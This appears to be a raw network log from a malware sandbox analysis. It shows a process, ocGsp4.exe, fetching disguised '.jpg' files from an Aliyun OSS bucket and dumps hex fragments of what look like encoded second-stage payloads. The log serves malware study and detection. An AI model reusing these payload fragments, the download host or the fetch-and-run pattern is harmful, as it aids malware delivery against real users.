2025-01-16 02:55:07 UTC	4096	IN	Data Raw: 15 03 58 89 56 b4 b6 a2 ad 03 9c f1 67 d1 75 f3 e8 19 38 39 86 89 50 71 f6 9c 55 6e f0 3c 79 b6 4b a6 36 b9 b4 a2 ab 24 ae 39 77 96 dd 86 d0 fd 7d 97 cb 0d f0 c5 e3 02 f9 c1 52 24 d9 92 d5 0f ce ba 02 8d 60 9d a4 7e 46 0c f6 07 7e 6e 99 9f b7 49 61 ff 7c c2 1d c4 45 e2 10 ab 9d 5d f3 48 c7 32 f2 49 bd 7e 2c f3 14 b8 55 84 3b b6 cd f2 2c a2 4e c8 2f 6a 5f 90 af 64 33 93 34 22 de 67 0c 00 0a 07 58 6d 1d 91 a5 e8 77 57 3e 92 ad 64 db 25 db 5a a7 9e fb ee 37 1e bf 9f 1c 20 8f 58 83 8e 9c 9d 1a 84 f4 2f e8 b6 e9 fc 5c 14 cf 3d a8 20 c1 36 73 8b 6d ad fa 19 32 a5 19 e7 34 c8 51 2a b2 c7 6f 71 16 6b 1a c9 12 87 4a 5b 13 27 7e 0c 5d 42 3e 1f df 6d a6 94 82 5a 53 5e fd 07 49 a4 e3 fa f2 49 de ae 8b 50 62 d9 cf c2 ba 82 06 00 8f 34 6e 19 e8 d9 e4 90 5c e0 85 6f a3 Data Ascii: XVgu89PqUn<yK6$9w}R$`~F~nIa\|E]H2I~,U;,N/j_d34"gXmwW>d%Z7 X/\= 6sm24Q*oqkJ['~]B>mZS^IIPb4n\o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	63316	118.178.60.9	443	7784	C:\Users\user\Documents\ocGsp4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 02:55:16 UTC	115	OUT	GET /FOM-53.jpg HTTP/1.1 User-Agent: GetData Host: 22mm.oss-cn-hangzhou.aliyuncs.com Cache-Control: no-cache
2025-01-16 02:55:17 UTC	546	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 16 Jan 2025 02:55:16 GMT Content-Type: image/jpeg Content-Length: 366410 Connection: close x-oss-request-id: 67887514A7BABC393396C376 Accept-Ranges: bytes ETag: "DA1D5EB665D3AAD523BE59415E6449ED" Last-Modified: Tue, 22 Oct 2024 14:47:51 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 5641369857548672686 x-oss-storage-class: Standard x-oss-ec: 0048-00000105 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 2h1etmXTqtUjvllBXmRJ7Q== x-oss-server-time: 8
2025-01-16 02:55:17 UTC	3550	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 90 00 90 00 00 ff e1 00 5a 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 05 03 01 00 05 00 00 00 01 00 00 00 4a 03 03 00 01 00 00 00 01 00 00 00 00 51 10 00 01 00 00 00 01 01 00 00 00 51 11 00 04 00 00 00 01 00 00 16 25 51 12 00 04 00 00 00 01 00 00 16 25 00 00 00 00 00 01 86 a0 00 00 b1 8f ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 Data Ascii: JFIFZExifMM*JQQ%Q%CC
2025-01-16 02:55:17 UTC	4096	IN	Data Raw: 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 60 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 e0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 a0 60 60 Data Ascii: ```````````````````````````````````````````````````````````````
2025-01-16 02:55:17 UTC	4096	IN	Data Raw: 60 60 eb 25 68 30 9f 75 d0 14 62 70 e9 25 84 e3 1d 84 60 15 67 52 a0 89 a9 60 60 60 06 67 e5 4c a2 a0 c6 2b ed ac f1 5f b5 0c d4 a2 b0 c6 29 e5 4e 2b f5 44 2b e2 ac 2b a8 2b b1 29 f5 10 8a f0 6d a5 0c b0 6b ad 34 6b b1 a8 b2 1f f5 2c 94 e2 f0 63 18 1f 95 e7 d2 20 09 68 e0 e0 e0 67 e5 5c a1 a0 a0 a0 ca a4 2d e5 5c f0 ca a8 c8 5f 5f a0 a0 2b ed 74 2b f1 e8 f2 5f b5 08 d4 a2 70 e5 a0 15 59 a7 25 b8 61 60 60 60 a7 25 bc 40 df 62 60 a7 25 80 e8 73 60 60 0a 60 0a 60 ed 25 48 f0 ca a0 ca a0 ca ac 2d ed 78 f1 c8 a4 a0 a0 38 2b f5 74 2b e2 e8 f0 5f b5 00 d4 a2 b0 2b ed 34 26 a1 b3 e1 8a e0 8a e0 8a e0 6b b5 34 b2 88 69 f7 e0 f0 8a e0 8a e0 08 da 10 e0 e0 63 24 fc 2b ed 74 29 e1 e4 10 a1 2b 45 fd 62 a8 a0 f5 2b 4c 18 b8 6a a0 a0 48 9a a7 a1 a0 f6 f7 2b e5 a8 e9 e5 Data Ascii: ``%h0ubp%`gR```gL+_)N+D+++)mk4k,c hg\-\__+t+_pY%a```%@b`%s````%H-x8+t+_+4&k4ic$+t)+Eb+LjH+
2025-01-16 02:55:17 UTC	4096	IN	Data Raw: 9d 9f 9f 31 ed f5 f4 9e 9f 9f 32 88 1d 9d 60 60 e3 a4 70 ed e5 f4 9e 9f 9f 30 ed ed 10 5d 5f 5f f1 5f b5 30 d2 a2 b0 ca a0 c8 20 a0 a0 a0 ca a2 ca a0 ca a2 c8 a0 a0 a0 e0 c8 a0 4c a2 f0 1f f5 74 92 e2 f0 69 65 84 1d 1f 1f 63 5d 84 1d 1f 1f 1f 95 e7 d3 20 09 0a e0 e0 e0 8a e0 6d 35 cc 5d 5f 5f f2 2b e5 a8 f0 48 06 5c a0 a0 23 64 a4 2b ed ac 8b 68 23 49 a1 f1 2b f5 a8 f2 48 f1 9c 60 60 e3 a4 64 eb 2d 68 ed 34 61 61 32 eb e5 04 9d 9f 9f 30 9f 75 f8 12 62 70 eb ed 04 9d 5f 5f f1 5f b5 44 d2 a2 b0 c8 54 a1 a0 a0 5f b5 6c d2 a2 b0 ca a1 c8 8c 4c a2 b0 48 61 5c 5f 5f 63 24 e8 8a e0 88 b8 0c e2 f0 08 dd 1b e0 e0 63 24 e8 63 18 1f 94 d0 8a e0 8a e0 8a e0 6d 75 18 5e 5f 5f f2 c8 24 4c a2 b0 ca a0 5f b5 a0 d3 a2 b0 ca a0 01 68 ec a5 b0 f0 5f b5 3c d2 a2 b0 ca 60 9f Data Ascii: 12``p0]___0 Ltiec] m5]__+H\#d+h#I+H``d-h4aa20ubp___DT_lLHa\__c$c$cmu^__$L_h_<`
2025-01-16 02:55:17 UTC	4096	IN	Data Raw: 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 44 45 46 47 48 49 4e 4e 4e 4a 4b 4e 8e 8e 8c 8d f5 2b 4c 21 4c 18 a2 a0 a0 29 2d e8 5d 5f 5f c8 ac 4e a2 b0 48 3e a3 a0 a0 23 64 a4 8a e0 88 f4 0e e2 f0 08 d5 0d 1f 1f 63 24 e8 8a e0 88 d0 0e e2 f0 08 c6 0d 1f 1f 63 24 e8 88 08 a3 a0 a0 5f b5 6c d2 a2 b0 c8 e8 4e a2 b0 5f b5 20 d2 a2 b0 c8 c0 4e a2 b0 5f b5 20 d2 a2 b0 c8 88 63 60 60 9f 75 ac 12 62 70 08 64 61 60 60 ed e5 98 9e 9f 9f 30 0a 60 9f 75 e4 12 62 70 a6 e5 24 5e 5f 5f eb 66 25 25 5e 5f 5f e5 66 25 26 5e 5f 5f f2 66 25 27 5e 5f 5f ee 66 25 28 5e 5f 5f a5 26 65 69 1e 1f 1f ac 26 65 6a 1e 1f 1f d3 26 65 6b 1e 1f 1f d2 26 65 6c 1e 1f 1f ce 26 65 6d 5e 5f 5f c4 66 25 2e 5e 5f 5f cc 66 25 2f 5e 5f 5f cc 66 25 30 5e 5f 5f a0 66 25 d4 5e 5f 5f e7 a6 e5 Data Ascii: NNNNNNNNNNNNNNNNNDEFGHINNNJKN+L!L)-]__NH>#dc$c$_lN_ N_ c``ubpda``0`ubp$^__f%%^__f%&^__f%'^__f%(^__&ei&ej&ek&el&em^__f%.^__f%/^__f%0^__f%^__
2025-01-16 02:55:17 UTC	4096	IN	Data Raw: 90 12 62 70 d8 61 60 60 60 8b 62 8b 80 eb 85 3d a3 35 eb 8c e3 8c 08 37 eb 25 68 e9 25 38 66 e5 3c a0 19 b8 a0 a0 a0 93 60 2d dd 3d 53 0b c6 0b 0a ca c4 2b ed 38 f1 2d f5 3c f2 48 92 2f e0 e0 63 24 ec 6d a5 7c b0 6b ed 28 09 e2 f0 b1 88 78 a5 e5 f0 6b b5 78 63 22 84 b2 08 df 1f 5f 5f 23 64 b0 93 60 ff 2b 45 fd 62 a4 a0 f5 2b 4c ca a0 01 68 49 a2 b0 f0 c8 38 e5 a5 b0 2b ed 68 31 88 7a 9f 9f 9f e3 a4 70 53 a0 3d a2 64 60 35 eb 8c 0a 60 c1 60 60 60 70 30 08 60 60 60 70 2b ed a8 f1 48 58 5e 5f 5f 23 64 b0 93 60 fd 62 a4 a0 f5 2b 4c 21 4c 80 a4 a0 a0 f7 c8 cc 4f a2 f0 1f f5 68 92 e2 f0 69 a5 18 d3 20 86 41 6a dd e5 f0 65 20 95 e5 09 a7 e1 e0 e0 d3 29 86 6b ed 2a 9d a5 b0 29 ed 5c 2b f5 5c 61 42 aa 29 f5 50 ca a0 c8 20 a0 a0 a0 ca a4 ca a0 ca a2 c8 a0 a0 60 20 Data Ascii: bpa```b=57%h%8f<`-=S+8-<H/c$m\|k(xkxc"__#d`+Eb+LhI8+h1zpS=d`5````p0```p+HX^__#d`b+L!LOhi Aje )k*)\+\aB)P `
2025-01-16 02:55:17 UTC	4096	IN	Data Raw: 60 60 eb 25 68 30 ed ed 40 9d 9f 9f 31 88 00 df 60 60 e3 a4 6c a6 e5 f8 9e 9f 9f 60 d9 f9 a0 a0 a0 93 60 2d 1d 39 5e 5f 5f 53 0b c6 0b 0a ca a0 ca a0 ca a2 ca a0 ca a1 c8 a0 a0 a0 e0 6d 75 cc 1e 1f 1f b2 1f f5 74 92 e2 f0 69 65 70 1e 1f 1f 63 5d 70 1e 1f 1f 1f 95 e7 d3 20 09 11 a0 a0 a0 ca a0 2d 25 34 5e 5f 5f f0 2b ed ac 21 49 d0 a1 a0 a0 f1 2b f5 a8 21 62 d0 a1 a0 a0 f2 eb e5 f0 9e 9f 9f 30 9f 75 f8 12 62 70 e5 a0 15 67 53 a0 89 dc 60 60 60 eb ed f0 9e 9f 9f 31 9f b5 a4 ed a5 b0 2d 35 88 5d 5f 5f f2 48 c4 6c a0 a0 23 64 a4 25 60 d4 85 2d 25 88 5d 5f 5f f0 2d 6d cc 1e 1f 1f b1 88 6c 11 e2 f0 6d 75 78 1e 1f 1f b2 1f f5 b4 ad e5 f0 63 24 f0 0b f4 6d 65 cc 5e 5f 5f f0 2d 2d 38 5e 5f 5f f1 5f b5 68 d2 a2 b0 2b 35 84 5d 5f 5f 29 35 bc 5d 5f 5f 23 1d bc 9d 9f Data Ascii: ``%h0@1``l``-9^__Smutiepc]p -%4^__+!I+!b0ubpgS```1-5]__Hl#d%`-%]__-mlmuxc$me^__--8^___h+5]__)5]__#
2025-01-16 02:55:17 UTC	4096	IN	Data Raw: ac ac 35 eb 8c 53 a0 c0 4c c6 65 70 e3 80 61 e5 a0 15 6f ea 6d 4c c6 65 70 e0 a9 61 e8 ad 8c 06 a5 b0 fd 63 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c f5 2b 4c f1 29 ed 5c 2b e5 ac 2a e8 6b b5 1c 68 ea 8a e0 6b ad 1c 08 f5 e2 e0 e0 6b a5 e8 b0 6b ad 1c 08 a9 e1 e0 e0 6b a5 1c 6b 45 fd 62 a8 a0 f5 2b 4c f1 29 ed 5c ca a1 2b ed 5c 48 4f a1 a0 a0 2b 45 fd 63 6c 6c 6c 6c 6c 6c ac ac ac ac ac 35 eb 8c 31 e9 2d 9c ea 25 68 30 0a 61 eb 2d 9c 88 eb 60 60 60 eb 85 3d a2 64 60 6c 6c 6c 6c 6c f5 2b 4c f1 29 ed 5c 2b e5 5c 2b e8 a8 9b ed a8 d7 a5 48 c2 c9 a1 a0 2b ed 5c 48 f1 e1 e0 e0 6b b5 1c 6b a2 e4 e3 a5 e8 6b 05 bd 22 e4 e0 2c 2c b5 6b 0c 63 0c e8 69 ad 1c 6b a5 5c 23 d8 a4 a0 d5 aa 48 c9 a1 a0 a0 29 e5 58 4b a9 2b ed 5c 2b f1 a4 29 f5 58 2b e5 58 2b 45 fd a3 ac Data Ascii: 5SLepaomLepacllllllllllllll+L)\+*khkkkkkEb+L)\+\HO+Ecllllll51-%h0a-```=d`lllll+L)\+\+H+\Hkkk",,kcik\#H)XK+\+)X+X+E
2025-01-16 02:55:17 UTC	4096	IN	Data Raw: e3 98 1d 15 6a a7 65 0c 94 62 70 60 60 60 60 e3 5d 0c 94 62 70 60 14 41 08 12 74 60 60 5f b5 6c d2 a2 b0 2b 2d 44 5e 5f 5f 48 7c 5c 5f 5f 2b 2d 44 5e 5f 5f 48 ff 5d 5f 5f 2b ed 54 c4 69 ed e0 e0 e0 e0 bf be bb 6b 05 bd 22 e8 e0 2c 2c 2c 2c 2c 2c b5 6b 0c b1 69 ad 1c 6b ad 1c 08 23 5c 5f 5f 2b e5 a8 23 40 a1 25 60 d4 ac 2b ed 5c f1 48 53 3e a0 a0 23 64 a4 2b e5 5c 2b 45 fd a2 64 60 ac ac 35 eb 8c 88 67 60 60 60 88 71 60 60 60 3d a3 35 eb 8c d9 ad 2c 65 70 88 75 3c 61 a0 fd 63 f5 2b 4c c8 f0 d7 a0 b0 48 10 0d a0 a0 23 64 a4 fd 63 f5 2b 4c 19 6d ec a5 b0 48 d3 fd e1 e0 bd 23 b5 6b 0c 08 e7 e0 e0 e0 08 f1 e0 e0 e0 bd 23 b5 6b 0c 59 2c ac e5 f0 08 30 89 e1 e0 fd 63 f5 2b 4c c8 2f d7 a0 b0 48 d1 0d a0 a0 23 64 a4 fd 63 f5 2b 4c 19 6c ec a5 b0 48 90 cb a1 60 3d Data Ascii: jebp````]bp`At``_l+-D^__H\|\__+-D^__H]__+Tik",,,,,,kik#\__+#@%`+\HS>#d+\+Ed`5g```q```=5,epu<ac+LH#dc+LmH#k#kY,0c+L/H#dc+LlH`=
2025-01-16 02:55:17 UTC	4096	IN	Data Raw: 25 d0 30 9f 75 4c 10 62 70 eb 2d f8 e9 2d e4 eb 35 d0 32 9f 75 84 12 62 70 eb 25 cc 30 5f b5 44 d2 a2 b0 2b ed 24 29 ed 18 4b a7 67 e5 18 a0 a0 a0 a0 23 dd 14 a0 d4 aa 2b f5 14 f2 5f f5 ec 92 e2 f0 6b a5 58 6b 05 bd 23 b5 6b 0c 61 0c 7c e5 e0 e0 88 df 68 e0 f0 88 50 3d e4 f0 1f b5 80 d0 a2 b0 03 54 ed a5 b0 67 a5 58 ed a5 b0 80 a0 a0 a0 67 a5 a0 ee a5 b0 a7 a0 a0 a0 67 a5 64 2e 65 70 60 60 60 60 a7 65 70 2e 65 70 b0 67 60 60 a7 65 6c 2e 65 70 61 60 60 60 a7 65 9c 2d a5 b0 a2 a0 a0 a0 c8 58 ed a5 b0 01 54 ed a5 b0 f0 5f b5 c4 d0 a2 b0 67 a5 ac ee a5 b0 a0 a0 a0 e0 88 14 e1 e0 e0 1f f5 2c 92 e2 f0 27 65 8c 1f 1f 1f 74 e0 e0 e0 6d 6d 8c 1f 1f 1f b1 1f f5 f8 d2 a2 b0 23 1d d0 5f 5f 5f a6 d3 96 67 a5 5c ed a5 b0 a4 a0 a0 a0 c8 58 ed a5 b0 2b b5 54 ed a5 70 32 Data Ascii: %0uLbp--52ubp%0_D+$)Kg#+_kXk#ka\|hP=TgXggd.ep````ep.epg``el.epa```e-XT_g,'etmm#___g\X+Tp2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	63332	118.178.60.9	443	7784	C:\Users\user\Documents\ocGsp4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 02:55:19 UTC	114	OUT	GET /drops.jpg HTTP/1.1 User-Agent: GetData Host: 22mm.oss-cn-hangzhou.aliyuncs.com Cache-Control: no-cache
2025-01-16 02:55:19 UTC	545	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 16 Jan 2025 02:55:19 GMT Content-Type: image/jpeg Content-Length: 37274 Connection: close x-oss-request-id: 67887517DF72713233799BFD Accept-Ranges: bytes ETag: "6D4DEB9526F3973DE0F9DCE9392F8EA7" Last-Modified: Wed, 23 Oct 2024 04:47:27 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 9193697774326766004 x-oss-storage-class: Standard x-oss-ec: 0048-00000105 Content-Disposition: attachment x-oss-force-download: true Content-MD5: bU3rlSbzlz3g+dzpOS+Opw== x-oss-server-time: 8
2025-01-16 02:55:19 UTC	3551	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 06 00 00 00 5c 72 a8 66 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 20 00 49 44 41 54 78 9c ed 9d 0b f8 6e e5 94 c0 97 91 14 26 45 21 4a 7f 25 4d 17 94 22 b9 cc 39 85 12 8d 90 2e 22 a7 9b 88 48 11 a9 4c 87 92 90 a4 d1 4c 49 3a 88 29 a1 90 4b 37 c2 14 21 83 34 51 f8 1f f7 7b ee cc 64 cc cc fe b5 ff 5b df f9 e6 fb fe df 5a 7b bf b7 ef db eb f7 3c eb 79 3c 39 ff 6f af fd ee 77 af fd be eb 5d 17 11 c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 cc 1a 95 ac 33 25 b2 46 a4 31 70 9c de 72 44 25 ff 3b 25 72 44 a4 31 70 9c de e2 06 c0 71 7a 8c 1b 00 c7 e9 31 Data Ascii: PNGIHDR\rfpHYs IDATxn&E!J%M"9."HLLI:)K7!4Q{d[Z{<y<9ow]qqqqqqqqqqqqqqqqq3%F1prD%;%rD1pqz1
2025-01-16 02:55:19 UTC	4096	IN	Data Raw: b8 15 4d f0 da 0b 73 29 d8 06 f6 9f 9a 49 70 40 2e 05 0b 01 87 5f 9b 3d 3f fb 46 f6 f7 6d f6 f6 a1 c1 89 8a 9f a0 4d d0 15 3e 81 52 1c 83 39 a1 dc d8 a4 b1 fa 64 36 ed 8c e0 b1 d4 38 8c b0 7a eb 66 d2 b1 04 38 ea 6b e3 ed c7 43 bf 5d 06 7d 27 41 5d 01 4b 93 95 46 38 1d 28 e9 88 30 07 7c dd 35 db 80 d2 93 d3 6e 43 db 93 ed f2 5c 0a 16 82 a5 2d 59 23 ef 97 b2 7d 26 78 b5 3f 28 f6 fb 7a 57 0e 65 0b 82 17 5b 53 7b f0 79 b9 14 b4 a0 ad c2 72 68 2e 05 0b e0 b9 62 7f 49 e8 29 37 0d b5 09 f0 0d d0 e7 ce 7a 7f 7d df 0e 5e 2d 93 c7 e8 b2 6c da 29 21 c0 42 13 40 32 75 5e cd 80 10 db 6f e9 43 c0 76 ea a8 2c 9a 76 83 c0 2a 4b ec 00 01 61 a5 e5 0e a4 84 90 df 49 63 c4 b6 79 52 ad 81 ac 68 3b ec 7c 36 97 82 05 40 a5 18 cb 97 71 1a 5f fe 06 8c 80 e5 5e 2f cd a3 66 11 cc Data Ascii: Ms)Ip@._=?FmM>R9d68zf8kC]}'A]KF8(0\|5nC\-Y#}&x?(zWe[S{yrh.bI)7z}^-l)!B@2u^oCv,v*KaIcyRh;\|6@q_^/f
2025-01-16 02:55:19 UTC	4096	IN	Data Raw: d0 62 92 23 02 8f d8 7f 4b bb b9 f3 33 e8 e8 18 58 21 b6 49 77 40 06 1d 49 05 fd 8a 51 4f 8d b0 a7 bd 48 ea b2 d6 31 a1 a4 5b a8 ba 8e 83 f2 1b b1 75 d9 0d 05 45 38 2d 4d 44 3c 3c bc 50 38 4a b3 4c b8 f7 e5 51 53 4e 37 e8 d8 46 62 27 2f 59 92 6b ac 92 2b 02 ef 30 83 8e 18 8b 99 af dc 3b 6d 6c 22 f5 17 44 fb 10 73 ed e7 ac f9 08 7d 33 00 48 ae 08 bc 8b 0c 3a d2 fd b7 34 1f 4c 6f a1 21 c4 e7 45 ff f0 08 f5 dd 21 83 9e d6 7c 84 be 1a 80 5c 11 78 d6 50 e1 7f ce a0 a3 33 82 53 c5 36 c1 5e 9e 41 47 1c 74 57 18 f5 ec ab 01 40 7e 5a c9 7d 22 df c7 28 1e 2b b6 c8 d1 7d 32 e8 e8 0c f0 64 b1 2d a9 2f 93 3c 51 5d c7 19 74 ec da 9c 72 16 0c 00 42 6f be 1c 11 91 96 f6 75 d4 1d dc 28 83 8e 8e d4 c7 50 3f 13 db a4 3a 53 d2 3b 99 c8 2c fc b3 41 c7 fd a5 3e 9a c4 68 7c d5 Data Ascii: b#K3X!Iw@IQOH1[uE8-MD<<P8JLQSN7Fb'/Yk+0;ml"Ds}3H:4Lo!E!\|\xP3S6^AGtW@~Z}"(+}2d-/<Q]trBou(P?:S;,A>h\|
2025-01-16 02:55:19 UTC	4096	IN	Data Raw: 72 b8 f8 65 fd f3 08 c8 16 67 54 0d cf 0b 6c 41 02 c8 a0 55 06 c4 14 75 72 5c ea 55 d3 97 57 dd f2 5b 5c 5d 16 d4 24 45 4a 6c da 65 e3 a7 67 ed f2 6b 6c 6d 26 e4 34 55 52 7c ca 75 f5 8f 39 05 67 33 f7 39 5a 5f 8f 3f 82 00 7c df f9 97 c0 02 ce af ac 82 30 8f 13 59 b2 1a 90 b1 7d 9c d0 12 de bf bc 92 20 9f 29 a5 86 eb 2f e1 82 8f a7 17 aa 28 54 ec d2 b1 f8 3a f6 97 9c ba 08 b7 3b 41 e0 c4 ad f5 35 fb e4 e9 cd 7d c4 46 0e e7 41 8d ee cf 27 c1 86 44 94 f5 fa dc 6a d5 5f 93 fc dd d5 6d d8 f9 d1 69 ac c5 e6 d8 25 90 f9 af 63 ad ce cb a4 12 2e a7 79 b5 d6 d3 bc 7e b2 d3 d0 b1 05 3b b4 74 ba db 28 e8 4a fc fb fa 4e 8c 4c 2d 2a 04 b2 0d 8d f7 51 6d 0c 5b 9f 51 32 37 17 a7 1a 98 e4 47 61 0e 68 aa 66 07 04 2a 98 27 ab e1 0a a2 68 09 26 c4 3c 79 b9 77 10 15 39 89 38 Data Ascii: regTlAUur\UW[\]$EJlegklm&4UR\|u9g39Z_?\|0Y} )/(T:;A5}FA'Dj_mi%c.y~;t(JNL-Qm[Q27Gahf'h&<yw98
2025-01-16 02:55:19 UTC	4096	IN	Data Raw: 8a 3b 3c 3d ae 77 c1 85 4a 42 44 45 85 8b 84 85 86 87 80 81 82 83 18 d0 be db 56 55 56 91 1c 7d 2a 68 9a 19 7a 2e 56 a7 26 47 16 55 a0 23 4c 1a 1e ad 28 49 1a 1d b6 35 56 06 15 b3 32 53 0e 00 bc 3f 58 0a 50 b9 c4 a5 fa e6 42 c1 a2 fe f0 4f ce af f6 e8 48 cb b4 ea 92 55 d0 b1 d6 a4 5e dd be da aa 5b da bb e2 91 64 e7 80 e6 d5 61 ec 8d ee cf 6a e9 8a ea 9e 77 f6 97 f2 d0 70 f3 9c fe c2 7d f8 99 f6 da 06 85 e6 8a c4 03 42 e3 48 c9 ca cb ff 0b 4a eb 51 d1 d2 d3 e2 13 52 f3 5a d9 da db ec 1b 5a fb 63 e1 e2 e3 97 23 62 c3 6c e9 ea eb 8d 2b 6a cb 75 f1 f2 f3 92 33 72 d3 7e f9 fa fb 99 3b 7a db 87 01 02 03 2a c3 82 23 80 09 0a 0b 69 cb 8a 2b 99 11 12 13 6c d3 92 33 92 19 1a 1b 79 db 9a 3b ab 21 22 23 24 e3 62 03 08 42 ec 6f 08 0c 4b e9 74 15 10 41 f2 71 12 14 56 Data Ascii: ;<=wJBDEVUV}hz.V&GU#L(I5V2S?XPBOHU^[dajwp}BHJQRZZc#bl+ju3r~;z#i+l3y;!"#$bBoKtAqV
2025-01-16 02:55:19 UTC	4096	IN	Data Raw: 3e 1f 74 b6 72 1b 60 09 41 8b 0c ce 87 0f c3 45 6e 03 c7 19 6a 67 18 52 83 1b df 9f 59 e1 51 d1 52 b0 f0 15 d5 5b 44 29 e9 2f 40 45 2e 64 a0 21 e1 aa aa 6d 6e 27 fb 35 56 53 3c f6 b2 6f bb b5 b6 b7 b0 b1 b2 b3 c8 08 d6 a7 94 cd 0f cb ac 81 c2 08 60 95 c6 04 d4 b5 b2 db 1d 91 b2 df 13 dd be b3 d4 14 da bb a8 e9 29 a7 80 aa 18 a7 2d 69 de a6 e4 26 aa 8b f8 4e 72 fb 3d b1 92 5c 50 f1 31 bf 98 f5 35 f3 e4 c9 cd 75 cd 4d ce 8f 43 cd ee 83 33 0d 86 46 d4 f5 9a 58 90 f1 de 9f 27 19 92 52 98 f9 d6 97 6b a5 c6 eb eb 5b e6 62 28 9c 24 a3 67 e9 ca 29 f0 f1 ba 78 b0 d1 d6 bf 7b 3d e2 38 30 31 32 33 44 88 46 27 1c 4d 8f 53 2c 19 42 82 40 29 06 47 93 fd 3a 5b 9f 51 32 2f 50 90 5e 3f 0c 55 95 5b 04 11 6a aa 60 01 2e ac 6c 0d 6a a2 28 09 a5 6b 14 71 cd fb bd 71 12 77 bb Data Ascii: >tr`AEnjgRYQR[D)/@E.d!mn'5VS<o`)-i&Nr=\P15uMC3FX'Rk[b($g)x{=80123DF'MS,B@)G:[Q2/P^?U[j`.lj(kqqw
2025-01-16 02:55:19 UTC	4096	IN	Data Raw: 1e 63 74 b0 aa 1b c8 41 42 43 0c c8 4b e2 8d b6 b5 a3 1c 82 b1 b0 18 d8 16 77 34 1d 91 13 7c 69 5a 5b 5c 5d 99 1b 44 49 e2 63 64 65 a1 23 4c 49 68 6b 6c 6d 2b 5c b9 34 41 b3 ce 75 76 77 38 31 f1 f7 58 cd 7e 7f 80 7e d6 a7 d4 cd 0f c3 ac c1 c2 08 f0 a9 c6 70 e4 a0 da 54 d0 b1 b6 97 98 99 9a d7 11 d1 ba df e4 2a 26 87 64 a5 a6 a7 e0 22 3e 8f 14 ad ae af f8 3a fe 97 fc 4a e2 93 e0 f1 31 f7 98 f5 41 eb e4 a1 52 8b 45 01 6e c7 c8 c9 09 07 00 01 02 03 98 58 9e f7 dc 9d 55 3b f0 91 51 9f f8 ed 96 56 a4 c5 f2 ab 23 e1 c2 18 17 16 15 a3 13 e9 ca a7 7b b5 d6 e3 bc 7e fa d3 78 c5 f2 fb 89 10 b6 74 04 25 4a 8a 40 21 0e 4f 8b 75 2e 03 0c 78 0c e4 3d 59 99 57 30 1d 5e 9c 54 3d 2a 53 1f d5 56 94 e1 2e 9c 63 db a6 de 7b 5d 3d 62 a0 68 09 26 67 bb 7d 16 03 7c 36 fe 7f b3 Data Ascii: ctABCKw4\|iZ[\]DIcde#LIhklm+\4Auvw81X~~pT&d">:J1AREnXU;QV#{~xt%J@!Ou.x=YW0^T=SV.c{]=bh&g}\|6
